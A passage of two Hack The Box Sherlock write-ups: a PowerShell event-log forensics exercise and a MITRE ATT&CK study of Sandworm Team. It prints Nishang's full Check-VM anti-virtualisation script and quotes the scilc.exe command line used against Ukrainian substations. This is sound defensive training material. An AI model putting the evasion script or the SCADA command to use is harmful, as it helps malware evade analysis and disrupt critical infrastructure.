detection?</em></strong>”</p><p>First, I must get a basic understanding of VMI:</p><p>WMI, or Windows Management Instrumentation, is the infrastructure for management data and operations on Windows. WMI uses the CIM (Common Information Model) standard to represent systems, applications, networks, devices, and other managemed components.</p><p>WMI uses four different categories of classes. <em>System Classes</em> provides basic functionality and always starts with a double underscore (__). <em>MSFT Classes</em> offers means to manipulate OS features. <em>CIM Classes</em> are CIM schema classes, and you can write classes that inherit from these classes. <em>Standard Consumer Classes</em> triggers an action based on an event. You can read more about the classes <a href="https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-classes">here</a>.</p><p>To find the relevant WMI class, I started with a simple Google search: “wmi class model and manufacturer”. This lead me to the website “<a href="https://www.windows-active-directory.com/wmi-classes-and-categories.html">WMI classes and categories</a>” by Windows Active Directory. Here it says that the class <strong><em>Win32_ComputerSystem</em></strong> contains general properties such as manufacturer, model, roles, and more.</p><p>With this in mind, I opened Microsoft-Windows-Powershell.evtx in EVTX Viewer and entered “Win32_ComputerSystem” as the filter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kAVFUImjxL8KkAk4c3vTeQ.png" /></figure><p>Both of these events has the Event ID 800, which provides details about commands executed with PowerShell. These events are 130ms apart.</p><p>The first one, at 09:19:10.172, extracts the manufacturer:</p><pre><br>[&quot;$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \&quot;Manufacturer\&quot;&quot;,&quot;\tDetailSequence=1\r\n\tDetailTotal=1\r\n\r\n\tSequenceNumber=19\r\n\r\n\tUserId=DESKTOP-M3AKJSD\\User\r\n\tHostName=ConsoleHost\r\n\tHostVersion=5.1.26100.2161\r\n\tHostId=0fad0cf8-6cb6-4657-86f7-655ec22eed9f\r\n\tHostApplication=C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\r\n\tEngineVersion=5.1.26100.2161\r\n\tRunspaceId=2aeeba59-d0f6-4ce7-b41c-e07625b3beec\r\n\tPipelineId=5\r\n\tScriptName=\r\n\tCommandLine=$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \&quot;Manufacturer\&quot;&quot;,&quot;CommandInvocation(Get-WmiObject): \&quot;Get-WmiObject\&quot;\r\nParameterBinding(Get-WmiObject): name=\&quot;Class\&quot;; value=\&quot;Win32_ComputerSystem\&quot;\r\nCommandInvocation(Select-Object): \&quot;Select-Object\&quot;\r\nParameterBinding(Select-Object): name=\&quot;ExpandProperty\&quot;; value=\&quot;Manufacturer\&quot;\r\nParameterBinding(Select-Object): name=\&quot;InputObject\&quot;; value=\&quot;\\\\DESKTOP-M3AKJSD\\root\\cimv2:Win32_ComputerSystem.Name=\&quot;DESKTOP-M3AKJSD\&quot;\&quot;\r\n&quot;]</pre><p>The second one, at 09:19:10.302, extracts the model:</p><pre><br>[&quot;$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \&quot;Model\&quot;&quot;,&quot;\tDetailSequence=1\r\n\tDetailTotal=1\r\n\r\n\tSequenceNumber=27\r\n\r\n\tUserId=DESKTOP-M3AKJSD\\User\r\n\tHostName=ConsoleHost\r\n\tHostVersion=5.1.26100.2161\r\n\tHostId=0fad0cf8-6cb6-4657-86f7-655ec22eed9f\r\n\tHostApplication=C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\r\n\tEngineVersion=5.1.26100.2161\r\n\tRunspaceId=2aeeba59-d0f6-4ce7-b41c-e07625b3beec\r\n\tPipelineId=10\r\n\tScriptName=\r\n\tCommandLine=$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \&quot;Model\&quot;&quot;,&quot;CommandInvocation(Get-WmiObject): \&quot;Get-WmiObject\&quot;\r\nParameterBinding(Get-WmiObject): name=\&quot;Class\&quot;; value=\&quot;Win32_ComputerSystem\&quot;\r\nCommandInvocation(Select-Object): \&quot;Select-Object\&quot;\r\nParameterBinding(Select-Object): name=\&quot;ExpandProperty\&quot;; value=\&quot;Model\&quot;\r\nParameterBinding(Select-Object): name=\&quot;InputObject\&quot;; value=\&quot;\\\\DESKTOP-M3AKJSD\\root\\cimv2:Win32_ComputerSystem.Name=\&quot;DESKTOP-M3AKJSD\&quot;\&quot;\r\n&quot;]</pre><p>With this, we can conclude that the attacker used the WMI class Win32_ComputerSystem to retrieve the model and manufacturer.</p><p><strong>Answer: </strong><strong>Win32_ComputerSystem</strong></p><h3>Task 2</h3><p>“<strong><em>Which WMI query did the attacker execute to retrieve the current temperature value of the machine?</em></strong>”</p><p>A Google search of relevant classes lead me this <a href="https://debugactiveprocess.medium.com/anti-vm-techniques-with-msacpi-thermalzonetemperature-32cfeecda802">Medium-article</a>. It says that the WMI class <strong><em>Win32_TemperatureProbe</em></strong> represents the properties of a temperature sensor. Moreover, it shows the following command to retrieve the current temperature of the machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*nom5zdUBY0ehySALFSZYWw.png" /></figure><p>The article describes this as an anti-VM technique, because “MSAcpi_ThermalZoneTemperature” is not supported on virtualized processors. Based on this, I opened Microsoft-Windows-Powershell.evtx in EVTX Viewer and entered “MSAcpi_ThermalZoneTemperature” as the filter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PgnFrrGvIVDugpyD2EMVNQ.png" /></figure><p>This resulted in only one event, with Event ID 800 — which makes sense. Below you can see that a WCL (WMI Query Language) query was run, where “MSAcpi_ThermalZoneTemperature” was queried.</p><pre>[&quot;Get-WmiObject -Query \&quot;SELECT * FROM MSAcpi_ThermalZoneTemperature\&quot; -ErrorAction SilentlyContinue&quot;,&quot;\tDetailSequence=1\r\n\tDetailTotal=1\r\n\r\n\tSequenceNumber=53\r\n\r\n\tUserId=DESKTOP-M3AKJSD\\User\r\n\tHostName=ConsoleHost\r\n\tHostVersion=5.1.26100.2161\r\n\tHostId=0fad0cf8-6cb6-4657-86f7-655ec22eed9f\r\n\tHostApplication=C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\r\n\tEngineVersion=5.1.26100.2161\r\n\tRunspaceId=2aeeba59-d0f6-4ce7-b41c-e07625b3beec\r\n\tPipelineId=21\r\n\tScriptName=\r\n\tCommandLine=Get-WmiObject -Query \&quot;SELECT * FROM MSAcpi_ThermalZoneTemperature\&quot; -ErrorAction SilentlyContinue&quot;,&quot;CommandInvocation(Get-WmiObject): \&quot;Get-WmiObject\&quot;\r\nParameterBinding(Get-WmiObject): name=\&quot;Query\&quot;; value=\&quot;SELECT * FROM MSAcpi_ThermalZoneTemperature\&quot;\r\nParameterBinding(Get-WmiObject): name=\&quot;ErrorAction\&quot;; value=\&quot;SilentlyContinue\&quot;\r\nNonTerminatingError(Get-WmiObject): <br>\&quot;Invalid class \&quot;MSAcpi_ThermalZoneTemperature\&quot;\&quot;\r\n&quot;]</pre><p>Above we can see the query used to retrieve the current temperature: SELECT * FROM MSAcpi_ThermalZoneTemperature.</p><p><strong>Answer: </strong><strong>SELECT * FROM MSAcpi_ThermalZoneTemperature</strong>.</p><h3>Task 3</h3><p>“<strong><em>The attacker loaded a PowerShell script to detect virtualization. What is the function name of the script?</em></strong>”</p><p>To find this, we must use the Windows-Powershell-Operation.evtx log. According to <a href="https://psmths.gitbook.io/windows-forensics/artifacts-by-type/event-log-artifacts/microsoft-windows-powershell/evtx-4104-script-block-logging">Windows Forensic Handbook</a>, the Event ID 4104 (Script Block Logging) is logged whenever a script is run through PowerShell. Based on this, I applied the filter event_id:4104, which returned 385 events:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7kqgF3agHc-atkMXHD4nqg.png" /></figure><p>385 events is a lot to work through.. However, we know that the events related to the model, manufacturer and temperature were run on 04/09/2025 around 09:19–09:20. Based on this, I applied 04/09/2025 09:00:00.00 — 04/09/2025 :10:00:00.000 as a filter. This reduced the number of events to 26:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aDyzqfWBUjuep3yZeDpLGQ.png" /></figure><p>I started by working through the earliest events first. The event at 09:20:53.099 contained the following in the ScriptBlockText field:</p><pre>function Check-VM { &lt;# .SYNOPSIS Nishang script which detects whether it is in a known virtual machine. .DESCRIPTION This script uses known parameters or &#39;fingerprints&#39; of Hyper-V, VMWare, Virtual PC, Virtual Box, Xen and QEMU for detecting the environment. .EXAMPLE PS &gt; Check-VM .LINK http://www.labofapenetrationtester.com/2013/01/quick-post-check-if-your-payload-is.html https://github.com/samratashok/nishang .NOTES The script draws heavily from checkvm.rb post module from msf. https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/checkvm.rb #&gt; [CmdletBinding()] Param() $ErrorActionPreference = &quot;SilentlyContinue&quot; #Hyper-V $hyperv = Get-ChildItem HKLM:\SOFTWARE\Microsoft if (($hyperv -match &quot;Hyper-V&quot;) -or ($hyperv -match &quot;VirtualMachine&quot;)) { $hypervm = $true } if (!$hypervm) { $hyperv = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System -Name SystemBiosVersion if ($hyperv -match &quot;vrtual&quot;) { $hypervm = $true } } if (!$hypervm) { $hyperv = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT if ($hyperv -match &quot;vrtual&quot;) { $hypervm = $true } } if (!$hypervm) { $hyperv = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT if ($hyperv -match &quot;vrtual&quot;) { $hypervm = $true } } if (!$hypervm) { $hyperv = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services if (($hyperv -match &quot;vmicheartbeat&quot;) -or ($hyperv -match &quot;vmicvss&quot;) -or ($hyperv -match &quot;vmicshutdown&quot;) -or ($hyperv -match &quot;vmiexchange&quot;)) { $hypervm = $true } } if ($hypervm) { &quot;This is a Hyper-V machine.&quot; } #VMWARE $vmware = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services if (($vmware -match &quot;vmdebug&quot;) -or ($vmware -match &quot;vmmouse&quot;) -or ($vmware -match &quot;VMTools&quot;) -or ($vmware -match &quot;VMMEMCTL&quot;)) { $vmwarevm = $true } if (!$vmwarevm) { $vmware = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System\BIOS -Name SystemManufacturer if ($vmware -match &quot;vmware&quot;) { $vmwarevm = $true } } if (!$vmwarevm) { $vmware = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier if ($vmware -match &quot;vmware&quot;) { $vmwarevm = $true } } if (!$vmwarevm) { $vmware = Get-Process if (($vmware -eq &quot;vmwareuser.exe&quot;) -or ($vmware -match &quot;vmwaretray.exe&quot;)) { $vmwarevm = $true } } if ($vmwarevm) { &quot;This is a VMWare machine.&quot; } #Virtual PC $vpc = Get-Process if (($vpc -eq &quot;vmusrvc.exe&quot;) -or ($vpc -match &quot;vmsrvc.exe&quot;)) { $vpcvm = $true } if (!$vpcvm) { $vpc = Get-Process if (($vpc -eq &quot;vmwareuser.exe&quot;) -or ($vpc -match &quot;vmwaretray.exe&quot;)) { $vpcvm = $true } } if (!$vpcvm) { $vpc = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services if (($vpc -match &quot;vpc-s3&quot;) -or ($vpc -match &quot;vpcuhub&quot;) -or ($vpc -match &quot;msvmmouf&quot;)) { $vpcvm = $true } } if ($vpcvm) { &quot;This is a Virtual PC.&quot; } #Virtual Box $vb = Get-Process if (($vb -eq &quot;vboxservice.exe&quot;) -or ($vb -match &quot;vboxtray.exe&quot;)) { $vbvm = $true } if (!$vbvm) { $vb = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT if ($vb -match &quot;vbox_&quot;) { $vbvm = $true } } if (!$vbvm) { $vb = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT if ($vb -match &quot;vbox_&quot;) { $vbvm = $true } } if (!$vbvm) { $vb = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier if ($vb -match &quot;vbox&quot;) { $vbvm = $true } } if (!$vbvm) { $vb = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System -Name SystemBiosVersion if ($vb -match &quot;vbox&quot;) { $vbvm = $true } } if (!$vbvm) { $vb = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services if (($vb -match &quot;VBoxMouse&quot;) -or ($vb -match &quot;VBoxGuest&quot;) -or ($vb -match &quot;VBoxService&quot;) -or ($vb -match &quot;VBoxSF&quot;)) { $vbvm = $true } } if ($vbvm) { &quot;This is a Virtual Box.&quot; } #Xen $xen = Get-Process if ($xen -eq &quot;xenservice.exe&quot;) { $xenvm = $true } if (!$xenvm) { $xen = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT if ($xen -match &quot;xen&quot;) { $xenvm = $true } } if (!$xenvm) { $xen = Get-ChildItem HKLM:\HARDWARE\ACPI\DSDT if ($xen -match &quot;xen&quot;) { $xenvm = $true } } if (!$xenvm) { $xen = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT if ($xen -match &quot;xen&quot;) { $xenvm = $true } } if (!$xenvm) { $xen = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services if (($xen -match &quot;xenevtchn&quot;) -or ($xen -match &quot;xennet&quot;) -or ($xen -match &quot;xennet6&quot;) -or ($xen -match &quot;xensvc&quot;) -or ($xen -match &quot;xenvdb&quot;)) { $xenvm = $true } } if ($xenvm) { &quot;This is a Xen Machine.&quot; } #QEMU $qemu = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier if ($qemu -match &quot;qemu&quot;) { $qemuvm = $true } if (!$qemuvm) { $qemu = Get-ItemProperty hklm:HARDWARE\DESCRIPTION\System\CentralProcessor\0 -Name ProcessorNameString if ($qemu -match &quot;qemu&quot;) { $qemuvm = $true } } if ($qemuvm) { &quot;This is a Qemu machine.&quot; } }</pre><p>Above we see a function called Check-VM. According to its description, it’s a script that detects whether it is in a known virtual machine. This includes Hyper-V, VMWare, Virtual PC, VirtualBox, Xen and QEMU. If a virtual machine is detected, the script returns “This is a &lt;vm-type&gt; machine”.</p><p><strong>Answer: </strong><strong>Check-VM</strong></p><h3>Task 4</h3><p>“<strong><em>Which registry key did the above script query to retrieve service details for virtualization detection?</em></strong>”</p><p>To answer this, we must take a look at the script we found in the previous task. Below I have printed all the different registry keys mentioned in the script.</p><pre>HKLM:\SOFTWARE\Microsoft<br>hklm:\HARDWARE\DESCRIPTION\System<br>HKLM:\HARDWARE\ACPI\FADT<br>HKLM:\HARDWARE\ACPI\RSDT<br>HKLM:\SYSTEM\ControlSet001\Services <br>hklm:\HARDWARE\DESCRIPTION\System\BIOS<br>hklm:\hardware\devicemap\scsi <br>HKLM:\HARDWARE\ACPI\DSDT<br>hklm:HARDWARE\DESCRIPTION\System\CentralProcessor\0</pre><p>The registry key HKLM:\SYSTEM\CurrentControlSet\Services stores information regarding installed services. Moreover, the the Select key provides the number of the system’s CurrentControlSet, and ControlSet001 is the most recent control set that has been booted under. You can read more about this <a href="https://psmths.gitbook.io/windows-forensics/artifacts-by-type/registry-artifacts/select#live-system">here</a> and <a href="https://psmths.gitbook.io/windows-forensics/artifacts-by-type/registry-artifacts/registry-services">here</a>.</p><p>In other words, the script queried HKLM:\SYSTEM\ControlSet001\Services to retrieve the service details.</p><p><strong>Answer: </strong><strong>HKLM:\SYSTEM\ControlSet001\Services</strong></p><h3>Task 5</h3><p>“<strong><em>The VM detection script can also identify VirtualBox. Which processes is it comparing to determine if the system is running VirtualBox?</em></strong>”</p><p>Below is the part of the script that identifies VirtualBox:</p><pre>#Virtual Box $vb = Get-Process if (($vb -eq &quot;vboxservice.exe&quot;) -or ($vb -match &quot;vboxtray.exe&quot;)) { $vbvm = $true }<br>if (!$vbvm) { $vb = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT if ($vb -match &quot;vbox_&quot;) { $vbvm = $true } } <br>if (!$vbvm) { $vb = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT if ($vb -match &quot;vbox_&quot;) { $vbvm = $true } } <br>if (!$vbvm) { $vb = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier if ($vb -match &quot;vbox&quot;) { $vbvm = $true } } <br>if (!$vbvm) { $vb = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System -Name SystemBiosVersion if ($vb -match &quot;vbox&quot;) { $vbvm = $true } } <br>if (!$vbvm) { $vb = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services if (($vb -match &quot;VBoxMouse&quot;) -or ($vb -match &quot;VBoxGuest&quot;) -or ($vb -match &quot;VBoxService&quot;) -or ($vb -match &quot;VBoxSF&quot;)) { $vbvm = $true } } <br>if ($vbvm) { &quot;This is a Virtual Box.&quot; }</pre><p>The script consists of six steps. If any of these checks passes, $vbvm is set to $true and the script returns &quot;This is a Virtual Box.”.</p><p>The first step is to check for two different running processes: vboxservice.exe and vboxtray.exe. The next five steps consists of checking different registry keys.</p><p><strong>Answer: </strong><strong>vboxservice.exe, vboxtray.exe</strong></p><h3>Task 6</h3><p>“<strong><em>The VM detection script prints any detection with the prefix ‘This is a’. Which two virtualization platforms did the script detect?</em></strong>”</p><p>Since the script prints any detection with the prefix <em>‘This is a ‘</em>, we can simply add the filter &quot;This is a &quot; to EVTX Viewer. Make sure to still use the Windows-Powershell-Operational.evtx log file. This results in two hits, one of which is the script itself:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4xX9hqHVXQQ--62JGkBBhg.png" /></figure><p>In the Payload-field of the event with Event ID 4103, we see the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*miPV7onzvtzGfMGGjNT52g.png" /></figure><p>In other words, the output of the function was &quot;This is a Hyper-V machine.” and &quot;This is a VMWare machine.&quot; .</p><p><strong>Answer: </strong><strong>Hyper-V, VMWare</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1bdc9a274c7f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Sherlocks UFO-1 Write-up: MITRE ATT&CK]]></title>
            <link>https://medium.com/@coldbyte.main/htb-sherlocks-ufo-1-write-up-mitre-att-ck-09b458d538a8?source=rss-e604ced5b7a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/09b458d538a8</guid>
            <category><![CDATA[mitre-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[sandworm]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[ColdByte]]></dc:creator>
            <pubDate>Tue, 06 Oct 2026 19:01:11 GMT</pubDate>
            <atom:updated>2026-10-06T19:01:11.145Z</atom:updated>
            <content:encoded><![CDATA[<p>This write-up outlines the approach I used to solve the Hack The Box Sherlock challenge <strong><em>UFO-1</em></strong>. The goal was to analyze groups, techniques and tactics with MITRE ATT&amp;CK.</p><h3>Task description</h3><p>Being in the ICS Industry, your security team always needs to be up to date and should be aware of the threats targeting organizations in your industry. You just started as a Threat intelligence intern, with a bit of SOC experience. Your manager has given you a task to test your skills in research and how well can you utilize Mitre Att&amp;ck to your advantage.</p><p>Do your research on Sandworm Team, also known as BlackEnergy Group and APT44. Utilize Mitre ATT&amp;CK to understand how to map adversary behavior and tactics in actionable form.</p><p>Smash the assessment and impress your manager as Threat intelligence is your passion.</p><h3>Task 1</h3><p><strong><em>According to the sources cited by Mitre, in what year did the Sandworm Team begin operations?</em></strong></p><p>I started by visiting MITRE ATT&amp;CK and searching for “Sandworm Team”. The first paragraph on the group’s page attributes the group til Russia’s GRU military unit 74455 and states that “<em>this group has been active since at least 2009</em>”:</p><blockquote><a href="https://attack.mitre.org/groups/G0034">Sandworm Team</a> is a destructive threat group that has been attributed to Russia’s General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.<a href="https://www.justice.gov/opa/press-release/file/1328521/download">[1]</a><a href="https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games">[2]</a> This group has been active since at least 2009.<a href="https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html">[3]</a><a href="https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/">[4]</a><a href="https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html">[5]</a><a href="https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory">[6]</a></blockquote><p>MITRE cites four sources for this statement: FireEye, CrowdStrike, the U.S. Department of State and the National Cyber Security Centre (NCSC). However, none of these sources explicitly mentions the year 2009. I also checked <a href="https://cloud.google.com/blog/topics/threat-intelligence/apt44-unearthing-sandworm">Mandiant’s 2024 article</a> about the group, which didn’t mention it either.</p><p>Nevertheless, 2009 is the year given by MITRE.</p><p><strong>Answer: </strong><strong>2009</strong></p><h3>Task 2</h3><p><strong><em>Mitre notes two credential access techniques used by the BlackEnergy group to access several hosts in the compromised network during a 2016 campaign against the Ukrainian electric power grid. One is LSASS Memory access (T1003.001). What is the Attack ID for the other?</em></strong></p><p>I searched for “BlackEnergy” on MITRE ATT&amp;CK, which led back to the page about Sandworm Team. BlackEnergy (Group) appears under <strong>Associated Groups</strong>, where MITRE lists names that may refer to the same or similar groups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*10ootZBChNPXWAHXpUds6A.png" /></figure><p>To answer the question, I scrolled down to Campaigns and opened “<a href="https://attack.mitre.org/campaigns/C0025/">2016 Ukraine Electric Power Attack</a>”. I then scrolled down to Techniques Used and clicked on Navigator Layers -&gt; Enterprise Layer -&gt; view.</p><p>After scrolling to the Credential Access column, I found two highlighted techniques:</p><ul><li>OS Credential Dumping: LSASS Memory</li><li>Brute Force</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cs116_cop555cRjwNqUsHw.png" /></figure><p>I then hovered over “Brute Force” to see the ATT&amp;CK ID.</p><p><strong>Answer: </strong><strong>T1110</strong></p><h3>Task 3</h3><p><strong><em>During the 2016 campaign, the adversary was observed using a VBS script during their operations. What is the name of the VBS file?</em></strong></p><p>I went back to the <a href="https://attack.mitre.org/campaigns/C0025/">2016 campaign page</a> and used CTRL + F to search for VBS. Under T0867 — Lateral Tool Transfer, I found a description of a VBS script used to copy ICS-specific payloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ol0g3b0fOv0fbiI-ucHl7Q.png" /></figure><p>The description identified the file name as ufn.vbs.</p><p><strong>Answer: </strong><strong>ufn.vbs</strong></p><h3>Task 4</h3><p><strong><em>The APT conducted a major campaign in 2022. The server application was abused to maintain persistence. What is the Mitre Att&amp;ck ID for the persistence technique was used by the group to allow them remote access?</em></strong></p><p>I returned to the Sandworm Team page and opened <a href="https://attack.mitre.org/campaigns/C0034/">2022 Ukraine Electric Power Attack</a>, the only campaign listed for 2022. I started by searching for terms such as “remote access”, “remote” and “access” — without any luck.</p><p>Since the question specifically mentions a server application, I searched for “server”. This led me to Server Software Component: Web Shell, with the description saying that Sandworm Team deployed the Neo-REGEORG web shell on an internet-facing server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uxUaXOKmR72FkGLWZe9hiw.png" /></figure><p>This matches the question’s description of abusing a server application to maintain persistence.</p><p><strong>Answer: </strong><strong>T1505.003</strong></p><h3>Task 5</h3><p><strong><em>What is the name of the malware / tool used in question 4?</em></strong></p><p>I already identified the tool in the previous task.</p><p><strong>Answer: </strong><strong>Neo-REGEORG</strong></p><h3>Task 6</h3><p><strong><em>Which SCADA application binary was abused by the group to achieve code execution on SCADA Systems in the same campaign in 2022?</em></strong></p><p>I stayed on the 2022 campaign page and searched for “SCADA”. Among the matches, T0807 — Command-Line Interface explained that Sandworm used SCIL-API on the MicroSCADA platform to execute command through the scilc.exe binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*af_isctY4I4wj3u_R8i4ZQ.png" /></figure><p><strong>Answer: </strong><strong>scilc.exe</strong></p><h3>Task 7</h3><p><strong><em>Identify the full command line associated with the execution of the tool from question 6 to perform actions against substations in the SCADA environment.</em></strong></p><p>I continued through the SCADA search results from the previous question. T0894 — System Binary Proxy Execution contains the following description:</p><blockquote>During the <a href="https://attack.mitre.org/campaigns/C0034">2022 Ukraine Electric Power Attack</a>, <a href="https://attack.mitre.org/groups/G0034">Sandworm Team</a> executed a MicroSCADA application binary scilc.exe to send a predefined list of SCADA instructions specified in a file defined by the adversary, s1.txt. The executed command C:\sc\prog\exec\scilc.exe -do pack\scil\s1.txt leverages the SCADA software to send unauthorized command messages to remote substations.<a href="https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology">[1]</a></blockquote><p><strong>Answer: </strong><strong>C:\sc\prog\exec\scilc.exe -do pack\scil\s1.txt</strong></p><h3>Task 8</h3><p><strong><em>What malware/tool was used to carry out data destruction in a compromised environment during the same campaign?</em></strong></p><p>I remained on the campaign page and searched for “destruction”. This led me to T1485 — Data Destruction. The description of the technique identifies CaddyWiper as the malware used to wipe files related to OT capabilities, along with mapped drives, and physical drive partitions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g_iDNPtt9xrd4C6yXQvw4w.png" /></figure><p><strong>Answer: </strong><strong>CaddyWiper</strong></p><h3>Task 9</h3><p><strong><em>The malware/tool identified in question 8 also had additional capabilities. What is the Mitre Att&amp;ck ID of the specific technique it could perform in Execution tactic?</em></strong></p><p>I opened the <a href="https://attack.mitre.org/software/S0693/">software page for CaddyWiper</a> to see the techniques used by the malware. Of the 7 listed techniques, T1106 — Native API looked like the best match.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8dVz6zZkx8VkX4KiCvB72A.png" /></figure><p>To verify that this techniques belongs to the Execution tactic, I opened Tactics -&gt; Enterprise -&gt; Execution and searched for T1106. Luckily, the technique was is the list, confirming that it was an Execution technique.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XoB2c2GPIH3OQ_le1a9WKg.png" /></figure><p><strong>Answer: </strong><strong>T1106</strong></p><h3>Task 10</h3><p><strong><em>The Sandworm Team is known to use different tools in their campaigns. They are associated with an auto-spreading malware that acted as a ransomware while having worm-like features. What is the name of this malware?</em></strong></p><p>I returned to the Sandworm Team page and searched for “Data Encrypted for Impact”, since the question says that the malware acted as a ransomware. In the software list, I found three candidates:</p><ul><li>Bad Rabbit</li><li>KillDisk</li><li>NotPetya</li></ul><p>Luckily, the <a href="https://attack.mitre.org/software/S0368/">NotPetya page</a> described two key things: “it appears as a form of ransomware” and “contains worm-like features”. You can read the full description below.</p><blockquote>While <a href="https://attack.mitre.org/software/S0368">NotPetya</a> appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, <a href="https://attack.mitre.org/software/S0368">NotPetya</a> may be more appropriately thought of as a form of wiper malware. <a href="https://attack.mitre.org/software/S0368">NotPetya</a> contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.<a href="https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html">[1]</a><a href="https://www.us-cert.gov/ncas/alerts/TA17-181A">[2]</a><a href="https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/">[3]</a><a 